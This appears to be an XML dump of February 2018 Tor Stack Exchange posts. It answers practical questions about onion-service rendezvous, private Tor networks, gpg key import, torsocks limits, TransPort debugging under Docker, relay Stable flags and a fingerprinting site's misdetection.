  <row Id="16624" PostTypeId="2" ParentId="16606" CreationDate="2018-02-06T06:42:21.560" Score="3" Body="&lt;p&gt;A Tor onion service host chooses several Tor nodes to serve as the host's introduction points. The host builds circuits to those nodes, and tells the nodes to use those circuits to forward introduction requests from clients to the onion service. When a client wants to connect to the onion service, the client first chooses a Tor node at random to be its &quot;rendezvous point&quot;, and the client builds a circuit to that rendezvous point. The client then builds an anonymous circuit to one of the onion service's introduction points. The onion service makes an anonymous circuit to the rendezvous point and completes the cryptographic handshake. The rendezvous point connects the two circuits, and the cryptographic handshake gives the two parties a shared key, which proves to the client that it is indeed talking to the onion service host. Once the two circuits are joined, the client can send Tor RELAY cells to the onion service host with end-to-end encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Rendezvous Specification - Version 3&lt;/a&gt; &#xA;&lt;a href=&quot;https://www.torproject.org/docs/onion-services.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor: Onion Service Protocol&lt;/a&gt; - Step 5: The rendezvous point simply relays (end-to-end encrypted) messages from client to service and vice versa.&lt;br&gt;&#xA;&lt;a href=&quot;https://blog.torproject.org/tors-fall-harvest-next-generation-onion-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor's Fall Harvest: the Next Generation of Onion Services&lt;/a&gt;&lt;br&gt;&#xA;index: torspec - &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v2.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion Service Version 2 Specifications&lt;/a&gt;&lt;br&gt;&#xA;index: torspec - &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion Service Version 3 Specifications&lt;/a&gt;&lt;br&gt;&#xA;Tor: The Second-Generation Onion Router - &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html#sec:rendezvous&quot; rel=&quot;nofollow noreferrer&quot;&gt;Section 5 - Rendezvous Points and hidden services&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12897" LastEditorUserId="12897" LastEditDate="2018-02-13T03:53:47.760" LastActivityDate="2018-02-13T03:53:47.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16626" PostTypeId="1" CreationDate="2018-02-06T13:20:40.620" Score="1" ViewCount="1039" Body="&lt;p&gt;Im trying to set up a fully localised private tor network as a degree project to prove that this network topology can be used within the private business sector to secure internal traffic. I have set up 2 middle relays, an exit relay and a certificate authority all running on ubuntu 14.04...i have also for testing reasons got a client machine with windows 7 and tor client installed and a windows server 2016 acting as a webserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When turning on my tor relays and checking the log files i find that they are all 100% bootstrapped and running but when i check arm (relay monitoring tool) it tells me that &quot;connections died in state connecting with SSL state (No SSL object). Have searched high and low for any information that can help but there is very little on even just creating my own tor network, and troubleshooting...even less. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would someone please be able to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="20938" LastActivityDate="2018-02-06T20:27:58.777" Title="Setting up a private local tor network" Tags="|configuration|linux|error|ssl|private|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16628" PostTypeId="2" ParentId="16610" CreationDate="2018-02-06T14:38:23.070" Score="0" Body="&lt;p&gt;cacahuatl: I don't know how to 'invoke gpg as torsocks gpg'.  But I do know how to delete things.  So I backed-up and then deleted gpg.conf and gpg-agent.conf.  Now when I issue the exact same command&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gpg --keyserver pool.sks-keyservers.net --recv-keys 0x4E2C6E8793298290&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I get a much better result:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gpg: requesting key 93298290 from hkp server pool.sks-keyservers.net&lt;br&gt;&#xA;  gpg: key 93298290: public key &quot;Tor Browser Developers (signing key)   &quot; imported&#xA;  gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model&lt;br&gt;&#xA;  gpg: depth: 0  valid:   1  signed:   1  trust: 0-, 0q, 0n, 0m, 0f, 1u&lt;br&gt;&#xA;  gpg: depth: 1  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 1f, 0u&lt;br&gt;&#xA;  gpg: next trustdb check due at 2018-07-23&lt;br&gt;&#xA;  gpg: Total number processed: 1&lt;br&gt;&#xA;  gpg:               imported: 1  (RSA: 1)  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What effect does this change have on my system? Not sure.  But I've tested my gpg signature verification functions as well as encryption/decryption and all are functional now (thank God). Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="20888" LastActivityDate="2018-02-06T14:38:23.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16629" PostTypeId="2" ParentId="16594" CreationDate="2018-02-06T15:03:30.823" Score="0" Body="&lt;p&gt;For the benefit of other newbie users here, and as a more proper answer, I found that all I needed to do to restore keyserver download function (the step before verifing the TOR package) was to open /home/.gnupg/gpg.conf with a text editor, find the line &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;keyserver-options http-proxy=socks5-hostname://127.0.0.1:9050 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and put a # in front of it to de-activate it.&lt;/p&gt;&#xA;" OwnerUserId="20888" LastActivityDate="2018-02-06T15:03:30.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16630" PostTypeId="1" AcceptedAnswerId="16631" CreationDate="2018-02-06T17:11:28.723" Score="0" ViewCount="1725" Body="&lt;p&gt;Suppose in my node.js app I have a 1024bit RSA key pair., I hashed the public key and derive .onion addres from the hash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to register this exact keypair and the hostname as a hidden service? and if so - how?  I assume that steps wuld be creating a hidden service folder in /var/lib/tor, placing there hostname and privateKey files, and adding this service in torrc... But where to put the public key? should I put signature of the folder? any other steps I am missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="20940" LastActivityDate="2018-02-06T22:31:27.760" Title="Generating .onion adresses out of public key" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16631" PostTypeId="2" ParentId="16630" CreationDate="2018-02-06T17:30:37.220" Score="1" Body="&lt;p&gt;The easiest method is to create a vanilla onion service, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/onion&#xA;HiddenServicePort 80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then start the &lt;code&gt;tor&lt;/code&gt; service, let it finish loading, then stop the &lt;code&gt;tor&lt;/code&gt; service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now edit the file &lt;code&gt;/var/lib/tor/onion/private_key&lt;/code&gt; and replace the private key in the file with the one you've generated and save the file, then start Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The public key isn't needed since the private key already contains all the information that the public key does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you start the &lt;code&gt;tor&lt;/code&gt; service again, you should see your custom hostname has been written to the &lt;code&gt;/var/lib/tor/onion/hostname&lt;/code&gt; file (where it previously had the one Tor generated for you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I'd recommend this path is that Tor is picky about permissions on the files and folders, to ensure that only the user &lt;code&gt;tor&lt;/code&gt; is running as can read the keys, so this lets &lt;code&gt;tor&lt;/code&gt; create the files and folder with the right permissions for you. All you need to do is replace the contents of the &lt;code&gt;private_key&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RSA private key should be stored in PEM format.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2018-02-06T22:31:27.760" LastActivityDate="2018-02-06T22:31:27.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16632" PostTypeId="2" ParentId="16626" CreationDate="2018-02-06T20:27:58.777" Score="-1" Body="&lt;p&gt;Sounds fun......it would be a cheap solution to a lot of corporate problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess would be that you need more redundancy, which will be hard to do without adding more computers of all types.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also try after you set up your local network to creating a &quot;MasterNode Rendezvous&quot; point for your local traffic to hop onto the real internet, but not allowing any incoming traffic directly to each node except through your MasterNodes.  Also not every computer in your local network needs to be connected to the Internet via the MasterNode for more secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can isolate or expand as much as you like.  But ultimate unless they are strictly Accounting/Office/Engineering work computers they will need connected to the internet if your business model revolves around workers posting to social media ect.........or using dropbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But ultimately you could instead of dropbox instead of using MasterNodes to sync with the regular internet only sync with other Local Tor Networks you have set-up.  This way they can act as a hidden services over the regular network wires instead of using drop box. &lt;/p&gt;&#xA;" OwnerUserId="20942" LastActivityDate="2018-02-06T20:27:58.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16638" PostTypeId="1" AcceptedAnswerId="16643" CreationDate="2018-02-07T20:45:49.970" Score="1" ViewCount="5751" Body="&lt;p&gt;I was wondering whether there are any benefits to using TOR inside a USB. I've heard that if you run TOR inside a USB, then none of your TOR browsing will be recorded by your OS in any form, i.e, there won't be a trace of you using TOR at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this true?&lt;/p&gt;&#xA;" OwnerUserId="20106" LastActivityDate="2018-10-31T08:45:20.783" Title="What are the benefits of running TOR inside a USB?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16643" PostTypeId="2" ParentId="16638" CreationDate="2018-02-08T04:00:25.060" Score="1" Body="&lt;p&gt;No, this isn't true if you're just installing Tor Browser onto a USB and running it from the USB on a standard operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Tor Browser does everything it can to reduce it's forensic fingerprint, on most operating systems simply running a program that is stored on a USB on the operating system itself will not stop it leaving behind traces or the operating system itself recording details of the applications which were run and when.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be confusing this with using an operating system like &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt;, which is run from a USB and loaded into RAM. It takes steps to avoid leaving forensic traces on the host computer and it pre-configured to use Tor and stop internet connections that don't go over Tor. You can find out more about the design of Tails on &lt;a href=&quot;https://tails.boum.org/about/index.en.html#index2h1&quot; rel=&quot;nofollow noreferrer&quot;&gt;their website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-08T04:00:25.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16646" PostTypeId="1" CreationDate="2018-02-08T20:41:18.553" Score="1" ViewCount="303" Body="&lt;p&gt;In my setup I have main process, which is Node.js app and there should be torified worker, which basically a child process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spawn it using follwoing command spawn('torsocks nodejs torworker ')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to setup IPC channel between parent process and child worker process. Net sockets are not working: connection refused. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a way to establish an IPC channel?&lt;/p&gt;&#xA;" OwnerUserId="20940" LastActivityDate="2018-10-07T17:00:58.653" Title="IPC with torified child process" Tags="|torsocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16647" PostTypeId="2" ParentId="16646" CreationDate="2018-02-08T23:40:21.283" Score="0" Body="&lt;p&gt;&lt;code&gt;torsocks&lt;/code&gt; blocks specific connection types to ensure that applications do not leak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason it is incompatible with certain applications, it seems that whatever inter-process channel method Node is using is one such connection method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;torsocks&lt;/code&gt; itself should produce output to stderr to notify you if it blocked some function call and if so which and why. This should give you the necessary information to find a suitable solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution would be to get the node application to use a native SOCKS proxy, instead of using &lt;code&gt;torsocks&lt;/code&gt; to wrap the entire &lt;code&gt;nodejs&lt;/code&gt; process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A worse solution might be to look at setting exceptions to the anti-leak protections put in place by &lt;code&gt;torsocks&lt;/code&gt; through tweaking &lt;code&gt;torsocks.conf&lt;/code&gt; (by default located at &lt;code&gt;/etc/tor/torsocks.conf&lt;/code&gt;), by for example setting &lt;code&gt;AllowOutboundLocalhost 1&lt;/code&gt; or if that still doesn't work &lt;code&gt;AllowOutboundLocalhost 2&lt;/code&gt;, where &lt;code&gt;1&lt;/code&gt; allows you to make TCP connections to localhost, and &lt;code&gt;2&lt;/code&gt; allows you to make both TCP &lt;em&gt;and&lt;/em&gt; UDP connections to localhost. For more information, check out &lt;code&gt;man 5 torsocks.conf&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-08T23:40:21.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16654" PostTypeId="1" CreationDate="2018-02-11T19:57:13.180" Score="1" ViewCount="403" Body="&lt;p&gt;I have a Tor router set up as docker image, but there's an issue (as described in &lt;a href=&quot;https://stackoverflow.com/questions/48602056/what-are-the-correct-iptables-rules-to-use-a-tor-proxy-as-network-gateway&quot;&gt;https://stackoverflow.com/questions/48602056/what-are-the-correct-iptables-rules-to-use-a-tor-proxy-as-network-gateway&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to debug the Tor side - the &lt;strong&gt;TransPort&lt;/strong&gt; specifically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, when running &lt;code&gt;telnet localhost 9040&lt;/code&gt; it immediately terminates with &quot;Connection closed by foreign host&quot;. I suspect that's not the intended result (?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I best further investigate/debug?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="21001" LastActivityDate="2022-03-26T12:02:50.263" Title="How can I verify that TransPort is working correctly?" Tags="|transparent-proxy|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16658" PostTypeId="1" AcceptedAnswerId="16660" CreationDate="2018-02-12T14:49:09.860" Score="0" ViewCount="62" Body="&lt;p&gt;I am new to Tor Messenger.Tried using XMPP on Tor Mesenger. I have registered an ID on ulloo.net.&#xA;When I try to connect to this account it shows &lt;strong&gt;Error: Recieved Unexpected Data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ID:(id)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain:www.ulloo.net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;password:(password)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else is default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am open to new suggestion regarding servers and all.&lt;/p&gt;&#xA;" OwnerUserId="20584" LastEditorUserId="88" LastEditDate="2018-02-18T18:02:36.233" LastActivityDate="2018-02-18T18:02:36.233" Title="Tor-Messenger : Recieved unexpected data" Tags="|chat|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16660" PostTypeId="2" ParentId="16658" CreationDate="2018-02-12T23:05:29.687" Score="0" Body="&lt;p&gt;After testing this on Tor Messenger, I can confirm that this is due to the domain being incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your JID is &lt;code&gt;user@ulloo.net&lt;/code&gt;, where username is &lt;code&gt;user&lt;/code&gt; and the domain is &lt;code&gt;ulloo.net&lt;/code&gt;. I create an account with this server and tried to set up the account with the domain as &lt;code&gt;www.ulloo.net&lt;/code&gt; which resulted in the same error as you received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, adding the account with the more normal &lt;code&gt;ulloo.net&lt;/code&gt; (&lt;em&gt;without&lt;/em&gt; &lt;code&gt;www.&lt;/code&gt;) in Tor Messenger resulted in a successful connection.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-12T23:05:29.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16661" PostTypeId="1" CreationDate="2018-02-13T02:02:27.180" Score="1" ViewCount="2431" Body="&lt;p&gt;Hi I have a very slow connection with tor and vpn can u suggest ways to improve both please ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after that I will do more searches&lt;/p&gt;&#xA;&#xA;&lt;p&gt;paul&lt;/p&gt;&#xA;" OwnerUserId="21022" LastActivityDate="2018-02-13T02:54:52.917" Title="very slow with tor and VPN how do i improve speed and security please?" Tags="|security|vpn|speed|" AnswerCount="1" CommentCount="0" ClosedDate="2018-02-18T22:03:30.780" ContentLicense="CC BY-SA 3.0" />
  <row Id="16662" PostTypeId="2" ParentId="16661" CreationDate="2018-02-13T02:54:52.917" Score="0" Body="&lt;p&gt;Using Tor alone without a VPN probably will be faster. The Tor Project &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/teams/CommunityTeam/Support#CanIuseaVPNwithTor&quot; rel=&quot;nofollow noreferrer&quot;&gt;recommends against&lt;/a&gt; using a VPN with Tor unless you're an advanced user who knows how to configure both in a way that doesn't compromise your privacy. VPNs &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#IsTorLikeAVPN&quot; rel=&quot;nofollow noreferrer&quot;&gt;have a single point of failure&lt;/a&gt;: the VPN provider. When you use a VPN, over time, websites still can build up a persistent profile of your usage. Even though sites you visit won't automatically get your originating IP address, they still know how to profile you based on your browsing history. Improve your anonymity and safety by using a &lt;a href=&quot;https://tb-manual.torproject.org/en-US/circumvention.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor pluggable transport&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2018-02-13T02:54:52.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16664" PostTypeId="2" ParentId="15399" CreationDate="2018-02-13T09:20:52.613" Score="3" Body="&lt;p&gt;Late reply: I guess that this happens because of a proxy. In that case go to the settings of torbrowser-launcher with the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torbrowser-launcher --settings&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then tick ''Download over system Tor'' and click on ''Install Tor Browser''.&lt;/p&gt;&#xA;" OwnerUserId="21024" LastActivityDate="2018-02-13T09:20:52.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16665" PostTypeId="1" CreationDate="2018-02-13T12:44:45.033" Score="1" ViewCount="271" Body="&lt;p&gt;I know that you'll have the same identity (IP) on the same site but since it's not your own IP (in another word you're connecting the site through other device) is it safe (recommend) to buy things online through Tor?&lt;/p&gt;&#xA;" OwnerUserId="19182" LastActivityDate="2018-02-13T12:44:45.033" Title="Is it recommend to use Tor browser to buy things online?" Tags="|browsers|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16670" PostTypeId="2" ParentId="16654" CreationDate="2018-02-14T20:45:45.380" Score="0" Body="&lt;p&gt;The issue is likely &lt;code&gt;docker-proxy&lt;/code&gt;. I used a small python script to illustrate this, having set up &lt;code&gt;-j REDIRECT&lt;/code&gt; for a user and tested it inside and outside of &lt;code&gt;docker&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script itself looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3&#xA;import socket&#xA;from struct import unpack&#xA;if __name__ == '__main__':&#xA;    s = socket.socket()&#xA;    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&#xA;    s.bind(('0.0.0.0',9040))&#xA;    s.listen(1)&#xA;    conn, addr = s.accept()&#xA;    orig = conn.getsockopt(socket.SOL_IP, 80, 16) # 80 is socket.SO_ORIGINAL_DST but python doesn't define it.&#xA;    port, ip = unpack(&quot;!2xH4s8x&quot;, orig)&#xA;    print('{}:{}'.format(socket.inet_ntoa(ip), port))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then we load up our &lt;code&gt;docker&lt;/code&gt;ised python script, with 9040 exposed and try to &lt;code&gt;curl https://check.torproject.org&lt;/code&gt; from our transparently proxied user.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# docker run -it --rm --name origdest -p &quot;9040:9040&quot; -v &quot;$PWD&quot;:/usr/src/myapp -w /usr/src/myapp python:3 python origdest.py&#xA;172.17.0.2:9040&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We see that the &lt;code&gt;docker&lt;/code&gt;ised script believes the original destination is the internal container IP address, &lt;em&gt;not&lt;/em&gt; the intended destination. Compare this to the non-&lt;code&gt;docker&lt;/code&gt;ised script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# python3 origdest.py &#xA;138.201.14.212:443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Transparent proxying works by Tor querying the original destination through &lt;code&gt;getsockopt&lt;/code&gt;. It gets it from the conntrack table in the kernel, but because &lt;code&gt;docker-proxy&lt;/code&gt; is forwarding on behalf of the user to the Tor running inside of the container when it tries to look up the original destination it sees it's own &lt;code&gt;TransProxy&lt;/code&gt; port and the connection fails.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2018-02-14T21:55:08.067" LastActivityDate="2018-02-14T21:55:08.067" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16678" PostTypeId="1" CreationDate="2018-02-16T18:47:03.163" Score="0" ViewCount="296" Body="&lt;p&gt;I run a TOR relay under the name &quot;torland&quot; (&lt;a href=&quot;http://torstatus.blutmagie.de/router_detail.php?FP=8d90596192e548c8c00fa9e82759f95b875dc99e&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://torstatus.blutmagie.de/router_detail.php?FP=8d90596192e548c8c00fa9e82759f95b875dc99e&lt;/a&gt;). Just today, my relay became marked as a stable tor relay because  it has been running non-stop for around two weeks. However, my concern is: I'm going to need to shut my relay down eventually when my computer needs to do a software update, or if my internet connection is turned off for whatever reason. Is there a way I can keep my relay marked as stable when this happens? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2018-02-17T00:40:01.527" Title="How Can I Keep My Tor Relay Stable When I Need To Do A Software Update" Tags="|configuration|security|relays|fast-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16679" PostTypeId="2" ParentId="16678" CreationDate="2018-02-17T00:40:01.527" Score="1" Body="&lt;p&gt;Restarting a relay will not cause it to lose it's &lt;em&gt;Stable&lt;/em&gt; flag. &lt;em&gt;Stable&lt;/em&gt; doesn't require 100% uptime, it requires that it be up &lt;em&gt;most&lt;/em&gt; of the time, so restarting it to apply updates shouldn't cause it to lose it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n2424&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dir-spec.txt&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &quot;Stable&quot; -- A router is 'Stable' if it is active, and either its Weighted&#xA;   MTBF is at least the median for known active routers or its Weighted MTBF&#xA;   corresponds to at least 7 days. Routers are never called Stable if they are&#xA;   running a version of Tor known to drop circuits stupidly.  (0.1.1.10-alpha&#xA;   through 0.1.1.16-rc are stupid this way.)&#xA;&#xA;        To calculate weighted MTBF, compute the weighted mean of the lengths&#xA;        of all intervals when the router was observed to be up, weighting&#xA;        intervals by $\alpha^n$, where $n$ is the amount of time that has&#xA;        passed since the interval ended, and $\alpha$ is chosen so that&#xA;        measurements over approximately one month old no longer influence the&#xA;        weighted MTBF much.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is by intent, since obviously relays &lt;em&gt;should&lt;/em&gt; have some amount of downtime to do sensible things like install software updates.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-17T00:40:01.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16680" PostTypeId="1" CreationDate="2018-02-17T01:12:39.293" Score="1" ViewCount="1419" Body="&lt;p&gt;Is it advisable to host a &lt;strong&gt;very lightweight&lt;/strong&gt; (less than 300 KiB per page, including all images, stylesheets etc.) general purpose site as a hidden service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not expect there to be many users (&lt;strong&gt;over&lt;/strong&gt;estimating 1 GiB bandwidth usage over 1 month)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not worried about me nor my users being anonymous&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this small amount of traffic good for the Tor network?&lt;br&gt;&#xA;It adds some noise so that the legitimate users blend in. But it also reduces their available bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also planning on using server-side processing (PHP in particular).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can get a semi-custom Onion domain for free/low cost&lt;/li&gt;&#xA;&lt;li&gt;I can provide better uptime than free hosts on the clearnet&lt;/li&gt;&#xA;&lt;li&gt;Allows legitimate users that require Tor to blend in with traffic generated from site&lt;/li&gt;&#xA;&lt;li&gt;Introduces people to Tor and Tor Browser Bundle (eventually some will become relays)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reduces the bandwidth for legitimate users&lt;/li&gt;&#xA;&lt;li&gt;Possibly more likely for me to be D/DoS-ed&lt;br&gt;&#xA;(people aren't going to take down a site that is helping them blend in, will they?)&lt;/li&gt;&#xA;&lt;li&gt;More people trying to hack me (even easier since they can do it anonymously)&lt;/li&gt;&#xA;&lt;li&gt;Less accessible for people (but that's my problem)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21057" LastEditorUserId="21057" LastEditDate="2018-04-25T04:25:20.667" LastActivityDate="2023-05-07T06:07:30.923" Title="Hosting Site as Hidden Service" Tags="|onion-services|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16682" PostTypeId="1" AcceptedAnswerId="16683" CreationDate="2018-02-17T12:20:29.770" Score="0" ViewCount="146" Body="&lt;p&gt;If I visit &lt;a href=&quot;https://browserleaks.com/social&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://browserleaks.com/social&lt;/a&gt; using the Tor Browser, I am shown as somehow logged into Flickr. I don't even have a Flickr account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the above, visiting the same site on a Google Chrome browser on the same computer shows me the exact same thing - logged into Flickr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the cause of this? Grateful for answers!&lt;/p&gt;&#xA;" OwnerDisplayName="user21063" LastActivityDate="2018-02-17T13:42:00.847" Title="I don't have an account on Flickr. Why am I shown as logged into Flickr on a fingerprinting website?" Tags="|tor-browser-bundle|fingerprinting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16683" PostTypeId="2" ParentId="16682" CreationDate="2018-02-17T13:42:00.847" Score="0" Body="&lt;p&gt;Looks like their script is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's trying to detect if you're signed in by checking if the login page redirects you to a favicon.ico file and flickr.com is redirecting anyway.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;    }, {&#xA;        domain: &quot;https://www.flickr.com&quot;,&#xA;        redirect: &quot;/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com/favicon.ico&quot;,&#xA;        name: &quot;Flickr&quot;&#xA;    }, {&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you visit &lt;code&gt;https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com/favicon.ico&lt;/code&gt; it will redirect you to &lt;code&gt;/favicon.ico&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So their website is failing to detect it correctly.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-02-17T13:42:00.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
